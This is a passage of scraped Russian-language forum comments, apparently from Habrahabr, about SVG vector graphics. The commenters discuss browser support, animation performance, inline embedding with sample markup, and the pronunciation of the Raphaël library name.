Встречается при определенных обстоятельствах, но подпортит нервы неплохо.<br/>\r\nПроблемы с фильтрами. Плохо работает гауссово размытие в chromium ниже 20-ой версии. В firefox неплохо, за исключением ужасной прожорливости и опять же отсутствие поддержки некоторых параметров в фильтрах.<br/>\r\n<br/>\r\nЭто все с анимациями связанными с svg.<br/>\r\n<br/>\r\nСо SMIL все не так радужно (не везде работают правильно правила связанные с begin=\"(#).end + (n) s\").<br/>\r\n<br/>\r\nПричем вопросы с chromium и opera легко решаемы(за исключениями), а вот проблемы с firefox — это ужасная беда. Причем в багтрекере Фокса часто ссылаются на svg team, типа они виноваты.<br/>\r\n<br/>\r\nСам по себе SVG отличный формат. И для работы с простыми композициями пойдет. Но для создания и работы со сложной композицией, с анимациями, текущие реализации SVG — проблемны(причем особенно в Firefox).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">При помощи тега <a href=\"http://www.w3.org/TR/SVG11/paths.html\">path</a>. Надеюсь, что автор расскажет об этом в следующих сериях.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кстати, про скриптинг SVG с помощью js я уже писал <a href=\"http://habrahabr.ru/post/127994/\">статейку</a>. За год ещё не должна была устареть :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне вот очень понравилась фишка прямого включения SVG-кода в HTML-страницу, внутри элемента SVG. Примерно так:<br/>\r\n<br/>\r\n<pre><code class=\"html\">&lt;!DOCTYPE html>\n&lt;html xmlns=\"http://www.w3.org/1999/html\">\n&lt;head>&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">&lt;/head>\n&lt;body>\nНад картинкой&lt;br>\n&lt;svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" baseProfile=\"full\" width=\"560px\" height=\"540px\">\n &lt;g transform=\"scale(0.5)\">\n &lt;svg x=\"574\" y=\"526\" fill=\"red\" stroke=\"black\" stroke-width=\"1\" stroke-linejoin=\"round\">\n &lt;a xlink:href=\"somewhere-else\">\n &lt;path d=\"M 15,45 l 0,52 a 228,228 0 0,0 114,-55 l -37,-40 a 176,176 0 0,1 -77,43 z\">&lt;/path>\n &lt;/a>\n &lt;path d=\"M 15,120 l 0,116 a 360,360 0 0,0 211,-96 l -78,-79 a 251,251 0 0,1 -133,59 z\">&lt;/path>\n &lt;path d=\"M 78,269 l 53,218 a 629,629 0 0,0 109,-36 l -7,-13 a 611,611 0 0,0 154,-103 l -145,-146 a 408,408 0 0,1 -164,80 z\">&lt;/path>\n &lt;path d=\"M 319,242 l 41,43 l 25,-26 l -39,-39 z\">&lt;/path>\n &lt;/svg>\n&lt;/svg>&lt;br>\nПод картинкой\n&lt;/body>&lt;/html>\n\n</code></pre><br/>\r\nИ после этого хоть что с элементами делай — они включены в DOM tree, можно их дёргать jQuery и тому подобное. И гиперссылки можно навешивать на элементы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А какие браузеры поддерживают такое включение?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если уж взялись разъяснять основы, то <a href=\"http://www.w3.org/TR/SVG11/expanded-toc.html\">ссылка на спецификацию</a> была бы не лишней.<br/>\r\n<br/>\r\n<blockquote>Вставлять на страницу SVG можно с помощью embed, iframe и object</blockquote><br/>\r\n<br/>\r\nНе только; ещё через собственно <code>svg</code> (инлайново), <code>img</code>, <code>background-image</code>, <code>favicon</code> и <code>font-face</code>.<br/>\r\n<br/>\r\n<blockquote>SVG поддерживается почти всеми современными браузерами за исключением Internet Explorer 8 и ниже.</blockquote><br/>\r\n<br/>\r\nInternet Explorer 8 и ниже вполне себе поддерживают SVG через сторонние плагины, например эдоубиевский.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://html5test.com/compare/feature/parsing-svg.html\">html5test.com/compare/feature/parsing-svg.html</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне очень нравится фишка включения HTML в SVG, получается примерно <div class=\"spoiler\"><b class=\"spoiler_title\">так</b><div class=\"spoiler_text\"><img src=\"https://habrastorage.org/r/w1560/storage/habraeffect/1a/bf/1abf86ffd92ba1d88b56ca41ac5d153d.png\" data-src=\"https://habrastorage.org/storage/habraeffect/1a/bf/1abf86ffd92ba1d88b56ca41ac5d153d.png\"/></div></div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хочу поговорить про векторную графику в интернете.<br/>\r\n<br/>\r\nApple перевела все свои устройства на дисплеи высокого разрешения. Есть разные мнения на тему «зачем оно мне надо», но суть не в этом. Что бы мы об этом ни думали, через пару лет все производители сделают то же самое, поскольку технология существует и маркетологи не упустят шанс навариться на ней.<br/>\r\n<br/>\r\nМножество крупных сайтов уже сейчас в какой-то мере поддерживают экраны с высокой плотностью точек, но они делают это довольно тупо: для каждого элемента с изображением готовят два файла — обычного разрешения и удвоенного (иногда достаточно кратности 1.5). Сейчас не учитывается один важный момент: при высокой плотности точек <b>можно интерполировать все подряд и это будет выглядеть хорошо</b>. То есть, вам не нужно делать картинки 100%, можно выбрать любой удобный размер, который всех устроит. А пользователь будет активнее пользоваться масштабированием в браузере. Причем, <b>масштабирование будет плавным</b> (как в Safari), а не ступеньками (как в Chrome). Не будет такого, что сайт сверстан под 1024 или какое-то другое разрешение.<br/>\r\n<br/>\r\nИ для обеспечения работы таких сайтов очень пригодится векторная графика. Конечно, основная масса контента останется растровой, но в оформлении и в инфографике удобно будет использовать вектор.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для меня как для инженера минусом является то что нет возможности сохранить в какой нибудь чертежный формат. Пусть хотябы в открытый DXF. Это уже открыло бы большие перспективы для разработчиков. И тогда наконец для нас, инженеров, появились бы адекватные сервисы контроля версий, подобные GIT, SVN и т.д. для программистов.<br/>\r\nХотя… может быть есть такая надстройка? Никому не попадалась?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вот еще хороший <a href=\"http://www.diztorted.ru/upload/clock.svg\">пример</a>.<br/>\r\n<br/>\r\nЯ вот до сих пор не могу понять, можно ли в SVG вывести отформатированный текст? Т.е. задаются граница текста (например прямоугольник) и опции: выравнивание по вертикали и горизонтали.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote> Малый размер: объекты SVG весят намного меньше растровых изображений.</blockquote> <br/>\r\nнеправда ваша. бывает и наоборот. особенно на 24\" можно запросто достичь :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Зачем? Ведь существует некий <a href=\"http://wiki.inkscape.org/wiki/index.php/FileTypes\">Adobe SVG</a>.<br/>\r\nТ.е. в принципе как-то извратиться и хранить версии можно. Однако подозреваю в сравнении разных ревизий в текстовом виде будет мало смысла…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Открыл сейчас Inkscape. Увидел в нем как вариант сохранения .«Desktop Cutting Plotter (AutoCAD DXF R14) (*.dxf)'.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно. Можно даже по кривой отображать текст.<br/>\r\nПримеры не буду писать, наглядно можно увидеть это в InkScape.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По данным Microsoft, все: <a href=\"http://samples.msdn.microsoft.com/ietestcenter/#html5ForeignContent\">samples.msdn.microsoft.com/ietestcenter/#html5ForeignContent</a> </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По кривой как раз сейчас не интересует. Интересует именно форматированный вывод. Если можно, поделитесь, пожалуйста, примером.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хм, инженер чертящий в инкскейпе это нонсенс… Тут даже без смайла. Но в общем хорошо, да.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">поясните, пожалуйста, как размер экрана влияет на объём svg-кода?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Microsoft многого не знает, например того, что браузеров больше пяти, и не только IE имеет несколько версий.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно кому-то окажется полезным — библиотека <a href=\"http://www.amplesdk.com\">Ample SDK</a> [в числе прочего] рисует SVG как он есть, без промежуточных форматов, а также предоставляет DOM, SMIL и т.д. в IE9.0- <a href=\"http://www.amplesdk.com/examples/markup/svg/tiger/\">пример</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вещь интересная, но не совсем то что нужно. Спасибо. Только это больше для художников, дизайнеров, а не для инженеров.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Действительно, очень удобно.<br/>\r\nИ с javascript работать просто, и стили для svg-элементов можно в основной css-файл помещать.<br/>\r\nПример — мой редактор html-карт <a href=\"http://habrahabr.ru/post/152731/\">habrahabr.ru/post/152731/</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Случаем не подскажите, как Raphaël произносится? Как Рафаёл? Рафаэль?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://www.w3.org/TR/2004/WD-SVG12-20041027/flow.html\">По спецификации W3C</a><br/>\r\nНо это SVG версии 1.2 который конечно же полностью не поддерживается браузерами.<br/>\r\n<br/>\r\nПоэтому пока только размещение текста по кривой(которая может быть прямой, внутри прямоугольника), с изменением параметра у тега textPath startOffset=\"(значение)\"<br/>\r\n<br/>\r\nТак что в SVG можно, но браузер это проигнорирует.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну если внутрь SVG присобачивать растр, как этим грешит Corel, то конечно объем раздуется =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Все предельно просто:<br/>\r\n<pre><code class=\"xml\">&lt;foreignObject>\n &lt;div xmlns=\"http://www.w3.org/1999/xhtml\">\n &lt;p>My &lt;strong>text&lt;/strong>&lt;/p>\n &lt;/div>\n&lt;/foreignObject>\n</code></pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да все в порядке с анимацией в SVG. Вот <a href=\"http://y3x.ru/sandbox/halloween/halloween.svg\">не очень простая анимация на Halloween</a> нигде вроде особенно не тормозит.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Боюсь там не все красиво как кажется<br/>\r\n<a href=\"https://bugs.webkit.org/buglist.cgi?quicksearch=foreignobject\">баги webkit</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень понравилась статья, все по делу</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://habrahabr.ru/post/150071/#comment_5081341\">['ræfeɪəl]</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Только что проверил.<br/>\r\n<br/>\r\nРазница работы:<br/>\r\nChromium. Полет нормальный.<br/>\r\nFirefox:<br/>\r\n1)В конце домик не загорается. <br/>\r\n2)Не хило грузит, даже после проигрывания анимации.<br/>\r\n3)Анимация не имеет много мелких и сложных элементов.<br/>\r\n4)Нет сложных трансформаций, в том числе групп.<br/>\r\n<br/>\r\nОперу еще не смотрел.<br/>\r\n<br/>\r\nВсё проверено сейчас на Ubuntu и Vista.<br/>\r\n<br/>\r\nДа кстати, в анимации нигде нет фильтров</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это как раз простая, нет трансформаций и масштабирования объектов!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поищите в Гугле по запросу «dwf compare». Думаю то что вам надо, правда не SVG. Сравнение чертежей в DWF формате.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Во-первых, эдоубиевский плагин — не единственный, хотя не знаю, какова судьба остальных. Во-вторых, зачем ему разработка и поддержка, если он нужен только для старых IE? В-третьих, тот, кто до сих пор имеет старый IE, весьма вероятно имеет и плагины, которые там требовались. В-четвёртых, если вдруг не имеет, можно выдать предложение поставить, о чём <a href=\"http://habrahabr.ru/post/99143/\">я писал два года назад</a>, но по нынешним временам, вероятно, лучше предложить обновить браузер.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Рассмотрим 1920х1080 например. Растр такого разрешения займет 49766400 самых глубоких бит. Однако сохраненный в PNG файл окажется всего-лишь 165Кб. SVG такого размера представить, да и сгенерить (исключительно вектор, заметьте), совсем не сложно. Инфа 100%. Существует правда SVGZ, однако не принципиально.<br/>\r\nЧто касаемо диагонали отображающего устройства, то не станем же мы пихать в 4\" андроида какого-нибудь то же самое, что хорошо разместится на 24\". да?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Старые браузеры и с PNG имеют некоторые проблемы. Тогда уж GIF.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Старые браузеры бывают только у Microsoft, это раз.<br/>\r\nЧерез два-три года не будет даже IE8, это два. IE9 уже обогнал IE8 в рунете.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre><code class=\"xml\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" baseProfile=\"full\">&lt;path d=\"M 78,269 l 53,218 a 629,629 0 0,0 109,-36 l -7,-13 a 611,611 0 0,0 154,-103 l -145,-146 a 408,408 0 0,1 -164,80 z\" fill=\"red\" stroke=\"black\" stroke-width=\"1\" stroke-linejoin=\"round\">&lt;/path>&lt;/svg>\n</code></pre><br/>\r\n<br/>\r\nЭтот SVG займёт ровно 307 байт как для андроида с экраном 4\", так и для устройства с экраном 24\".<br/>\r\n<br/>\r\nЕщё раз, поясните мне, как вообще тут что-то может зависеть от размера экрана?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если есть огромное количество объектов в SVG, то спору нет — он может оказаться в разы больше.<br/>\r\nPNG как таковой сжатый формат(который сжимается по определенным алгоритмам), поэтому все таки нормально сравнивать именно с SVGZ.<br/>\r\n<br/>\r\nPNG тоже не любое изображение может оптимально сжать. Особенно когда значение RGBA практически каждого пикселя уникально.<br/>\r\n<br/>\r\nНо тут для проекта надо подбирать, где SVG, где PNG, где JPEG, а где и старый GIF подойдет.<br/>\r\n<br/>\r\nА вот насчет разрешения… Вон тут недавно был <a href=\"http://habrahabr.ru/post/156831/\">топик про retina, Торвальдса и пр.</a>. Так что черт знает, что там с разрешениями сейчас. Слишком большой разброс поддерживаемых разрешений теперь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, под Андроид 2.1…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мнемонически, для запоминания: «RA(dmin) Fail» ;-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, форматированный текст ведь можно вывести?<br/>\r\nА баги есть в любом сложном продукте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Каким образом Raphael.js осуществляет поддержку IE?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Статью пока не прочитал.<br/>\r\n<br/>\r\nОсуществил год назад часов за 8-12 на этой хрени свою мечту — измерение пути по скриншоту карты. На Оперу под Андроид 2.1 перенеслось криво (вообще и на виндах работает по-разному в FF и хроме). Когда поменял планшет на таковой с ёмкостным экраном, вообще понял в какую лужу сел — в моём поделии почти всё было завязано на дабл-клик, на резистивном было хоть как-то реально со стилусом…<br/>\r\n<br/>\r\nВ общем, технология гиморная, но перспективная.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">т.е. animateTransform это не анимация транформаций?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Под Android, похоже, никакие…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В английском нет ë.<br/>\r\n<br/>\r\nА, например, во французском — есть: там ë читается как обычная e, независимо от предшествующей буквы. То есть, например, в словах Noël, Moët произношение сочетания oë можно приблизительно передать русскими буквами оэ. Возьмите для сравнения словосочетание chef d'oeuvre — вторая его часть произносится (приблизительно) как дёвр.<br/>\r\n<br/>\r\nС Рафаэлем — та же фигня. Без точек был бы Рафэль. Во французской википедии есть даже <a href=\"http://fr.wikipedia.org/wiki/Rapha%C3%ABl\">статья об этом имени</a>, там оно пишется аналогично: <blockquote><b>Raphaël</b> est un prénom masculin.</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ок, на этот раз вы победили.<br/>\r\nНо я еще сделаю сложную анимацию с трансформациями и множеством элементов.<br/>\r\nПро фильтры обещать не буду, т.к. они даже в графических редакторах оказываются тяжелой операцией.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я имел в виду прозрачность фона png в IE6.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">…в альфа-канале, разумеется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что Firefox 3.6? Мы под него разработку ведём, и используем при этом SVG.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ФФ 16.0, вин хп: лагает ощутимо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы правы, никак не зависит. Это вопрос религии. Лично я спорил с высказыванием ТС, но привел, похоже, слишком личный опыт. Он не интерполируется на весь окружающий мир, извините. У меня в проекте именно так.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хренасе «перспективная»!1 Вот если б я 2(!) года назад не настоял на выборе svg, то сейчас имел бы гемор полной попой )<br/>\r\n<br/>\r\nSorry, это ответ на предыдущий пост <a href=\"http://habrahabr.ru/users/flammar/\" class=\"user_link\">Flammar</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неправда: в <code>img</code> и фоне не поддерживает, а инлайново — вполне себе, только XHTML, разумеется, должен быть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не только видел, мы только его и пишем уже лет пять. Амперсанды экранируем, да, не вижу проблемы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Здесь все-таки feɪəl, а не feɪl, так что плохая мнемоника.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну попробуйте что нибудь сложнее двигания пикселей и альфа канала. Блин с этой задачей вполне должен первый пенёк справляться. Ну с учетом разрешения ладно уж второй. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тем не менее, фильтры на шейдерах могут реактивно работать!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">недавно только писали про «оранжевый цвет» <a href=\"http://habrahabr.ru/post/156451/\">habrahabr.ru/post/156451/</a> и тут бабах! такое лого… или такой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">window.onload=function() { <br/>\r\n //сюда вставить код Raphael<br/>\r\n}<br/>\r\n<br/>\r\nБоже, мои глаза.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">SVG ещё можно анимировать нативно.<br/>\r\n<br/>\r\n* сорри, вспомнил что тег animate и есть SMIL))).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ещё стоит добавить, что polygon от polyline отличается тем, что polygon автоматически закрывает фигуру, а polyline — нет.<br/>\r\n<br/>\r\nКстати библиотека Fabric.js умеет интерпретировать SVG и переносить на canvas.<br/>\r\n<br/>\r\nДа, и ещё на интуите ( <a href=\"http://intuit.ru\">intuit.ru</a> ) есть тоже про SVG, причём очень много.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это, наверное, «неживой»...;-) В смысле, генерированный…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В английском и французском букв с двумя точками, строго говоря, нет. Но иногда две точки над второй гласной применяются. Они служат, чтобы «разбить» диграф и заставить каждую букву читаться по своим собственным правилам.<br/>\r\n<br/>\r\nПредположим, по правилам буква «o» читается как звук «о», буква «e» читается как звук «э», а сочетание «oe» читается как русская «ё». Тогда «oë» будет предписывать чтение не как «ё», а по отдельности: «оэ». Что и продемонстрировал коллега shoorick в примерах про Noël и Moët.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так он и должен быть весь генерированный, какой же ещё?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Боже, зачем Вы изощряетесь, когда на <a href=\"http://raphaeljs.com/\">сайте продукта</a> во втором же абзаце указано произношение: ['ræfeɪəl]? По правилам <a href=\"http://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D0%BE-%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B0%D1%8F_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%86%D0%B8%D1%8F\">англо-русской практической транскрипции</a> по-русски это пишется так: «Рэ́фейэл».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно и руками писать. Как, в прочем, и postscript… Хардкор такой хардкор…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кому хренасе, а некоторые на трёх браузерах проверяли код, который в экран не влазит и размеры меняет — как он на скроллинг реагирует. Не, согласен, что претензия на GIU на чистом SVG — это несколько изврат. Но всё же.<br/>\r\n<br/>\r\nДа, а ещё я на нём объект XMLHTTPRequest обнаружил…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Рукипедия» не совсем тщательно написана — <a href=\"http://en.wikipedia.org/wiki/Diaeresis_(diacritic)\">Diaeresis_(diacritic)</a> и <a href=\"http://en.wikipedia.org/wiki/Umlaut\">Umlaut</a>. Умлаут — это, буквально, «перезвучка» звука, трема — это обозначение на письме, в т.ч. и обозначение умлаута в германских языках.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так что, раз на разных браузерах по-разному, пока только «перспективная»…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Raphaël назван в честь известного художника ренесанса и произносится Рафаэль. Диарезиз в название добавлен для англоязычных читателей, чтобы они не читали “ae” как один звук.<br/>\r\n<br/>\r\nВообще не стоит заморачиваться, как произносит большинство, так и правильно. Мало кто поймёт у нас что «найки» и «эдоби» это на самом деле Nike и Adobe. ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как она мне помогла в своё время ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не понял кстати, зачем разделять синтаксис line и polyline — по сути ведь это одно и то же.<br/>\r\n<br/>\r\nИ еще непонятно, почему у прямоугольника правый и нижний бока жирные.</div>" ], "message_markdown": [ "SVG ещё можно анимировать при помощи SMIL", "Ещё бы неплохо написать хотя бы пару слов про поддержку браузерами\ncaniuse.com/#search=svg", "Это написано в предпоследнем разделе.", "UFO just landed and posted this here", "А как в SVG нарисовать кривую Безье?", "Хороший формат. До появления Рафаэль нужно было использовать адобовский плагин, который позволял работать чуть ли на в 5-м IE...", "Вы пробовали делать сложные анимации с использованием svg?\nДаже несложная svg анимация, ощутимо грузит firefox. Причем как CSS Transition/Animate, так и с помощью SMIL или javascript.\nГлюки при работе с сложными svg в opera. Проблема рендеринга. Встречается при определенных обстоятельствах, но подпортит нервы неплохо.\nПроблемы с фильтрами. Плохо работает гауссово размытие в chromium ниже 20-ой версии. В firefox неплохо, за исключением ужасной прожорливости и опять же отсутствие поддержки некоторых параметров в фильтрах.\nЭто все с анимациями связанными с svg.\nСо SMIL все не так радужно (не везде работают правильно правила связанные с begin=\"(#).end + (n) s\").\nПричем вопросы с chromium и opera легко решаемы(за исключениями), а вот проблемы с firefox — это ужасная беда. Причем в багтрекере Фокса часто ссылаются на svg team, типа они виноваты.\nСам по себе SVG отличный формат. И для работы с простыми композициями пойдет. Но для создания и работы со сложной композицией, с анимациями, текущие реализации SVG — проблемны(причем особенно в Firefox).", "При помощи тега path. Надеюсь, что автор расскажет об этом в следующих сериях.", "Кстати, про скриптинг SVG с помощью js я уже писал статейку. За год ещё не должна была устареть :-)", "Мне вот очень понравилась фишка прямого включения SVG-кода в HTML-страницу, внутри элемента SVG. Примерно так:\n[code]\n <!DOCTYPE html>\n <html xmlns=\"http://www.w3.org/1999/html\">\n <head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"></head>\n <body>\n Над картинкой<br>\n <svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" baseProfile=\"full\" width=\"560px\" height=\"540px\">\n <g transform=\"scale(0.5)\">\n <svg x=\"574\" y=\"526\" fill=\"red\" stroke=\"black\" stroke-width=\"1\" stroke-linejoin=\"round\">\n <a xlink:href=\"somewhere-else\">\n <path d=\"M 15,45 l 0,52 a 228,228 0 0,0 114,-55 l -37,-40 a 176,176 0 0,1 -77,43 z\"></path>\n </a>\n <path d=\"M 15,120 l 0,116 a 360,360 0 0,0 211,-96 l -78,-79 a 251,251 0 0,1 -133,59 z\"></path>\n <path d=\"M 78,269 l 53,218 a 629,629 0 0,0 109,-36 l -7,-13 a 611,611 0 0,0 154,-103 l -145,-146 a 408,408 0 0,1 -164,80 z\"></path>\n <path d=\"M 319,242 l 41,43 l 25,-26 l -39,-39 z\"></path>\n </svg>\n </svg><br>\n Под картинкой\n </body></html>\n[/code]\nИ после этого хоть что с элементами делай — они включены в DOM tree, можно их дёргать jQuery и тому подобное. И гиперссылки можно навешивать на элементы.", "А какие браузеры поддерживают такое включение?", "Если уж взялись разъяснять основы, то ссылка на спецификацию была бы не лишней.\n> Вставлять на страницу SVG можно с помощью embed, iframe и object\nНе только; ещё через собственно `svg` (инлайново), `img`, `background-image`, `favicon` и `font-face`.\n> SVG поддерживается почти всеми современными браузерами за исключением Internet Explorer 8 и ниже.\nInternet Explorer 8 и ниже вполне себе поддерживают SVG через сторонние плагины, например эдоубиевский.", "html5test.com/compare/feature/parsing-svg.html", "А мне очень нравится фишка включения HTML в SVG, получается примерно\nтак", "Хочу поговорить про векторную графику в интернете.\nApple перевела все свои устройства на дисплеи высокого разрешения. Есть разные мнения на тему «зачем оно мне надо», но суть не в этом. Что бы мы об этом ни думали, через пару лет все производители сделают то же самое, поскольку технология существует и маркетологи не упустят шанс навариться на ней.\nМножество крупных сайтов уже сейчас в какой-то мере поддерживают экраны с высокой плотностью точек, но они делают это довольно тупо: для каждого элемента с изображением готовят два файла — обычного разрешения и удвоенного (иногда достаточно кратности 1.5). Сейчас не учитывается один важный момент: при высокой плотности точек можно интерполировать все подряд и это будет выглядеть хорошо. То есть, вам не нужно делать картинки 100%, можно выбрать любой удобный размер, который всех устроит. А пользователь будет активнее пользоваться масштабированием в браузере. Причем, масштабирование будет плавным (как в Safari), а не ступеньками (как в Chrome). Не будет такого, что сайт сверстан под 1024 или какое-то другое разрешение.\nИ для обеспечения работы таких сайтов очень пригодится векторная графика. Конечно, основная масса контента останется растровой, но в оформлении и в инфографике удобно будет использовать вектор.", "Для меня как для инженера минусом является то что нет возможности сохранить в какой нибудь чертежный формат. Пусть хотябы в открытый DXF. Это уже открыло бы большие перспективы для разработчиков. И тогда наконец для нас, инженеров, появились бы адекватные сервисы контроля версий, подобные GIT, SVN и т.д. для программистов.\nХотя... может быть есть такая надстройка? Никому не попадалась?", "А вот еще хороший пример.\nЯ вот до сих пор не могу понять, можно ли в SVG вывести отформатированный текст? Т.е. задаются граница текста (например прямоугольник) и опции: выравнивание по вертикали и горизонтали.", "> Малый размер: объекты SVG весят намного меньше растровых изображений.\nнеправда ваша. бывает и наоборот. особенно на 24\" можно запросто достичь :)", "Зачем? Ведь существует некий Adobe SVG.\nТ.е. в принципе как-то извратиться и хранить версии можно. Однако подозреваю в сравнении разных ревизий в текстовом виде будет мало смысла...", "Открыл сейчас Inkscape. Увидел в нем как вариант сохранения .«Desktop Cutting Plotter (AutoCAD DXF R14) (*.dxf)'.", "Можно. Можно даже по кривой отображать текст.\nПримеры не буду писать, наглядно можно увидеть это в InkScape.", "По данным Microsoft, все: samples.msdn.microsoft.com/ietestcenter/#html5ForeignContent", "По кривой как раз сейчас не интересует. Интересует именно форматированный вывод. Если можно, поделитесь, пожалуйста, примером.", "Хм, инженер чертящий в инкскейпе это нонсенс... Тут даже без смайла. Но в общем хорошо, да.", "поясните, пожалуйста, как размер экрана влияет на объём svg-кода?", "Microsoft многого не знает, например того, что браузеров больше пяти, и не только IE имеет несколько версий.", "Возможно кому-то окажется полезным — библиотека Ample SDK [в числе прочего] рисует SVG как он есть, без промежуточных форматов, а также предоставляет DOM, SMIL и т.д. в IE9.0- пример", "Вещь интересная, но не совсем то что нужно. Спасибо. Только это больше для художников, дизайнеров, а не для инженеров.", "Действительно, очень удобно.\nИ с javascript работать просто, и стили для svg-элементов можно в основной css-файл помещать.\nПример — мой редактор html-карт habrahabr.ru/post/152731/", "Случаем не подскажите, как Raphaël произносится? Как Рафаёл? Рафаэль?", "По спецификации W3C\nНо это SVG версии 1.2 который конечно же полностью не поддерживается браузерами.\nПоэтому пока только размещение 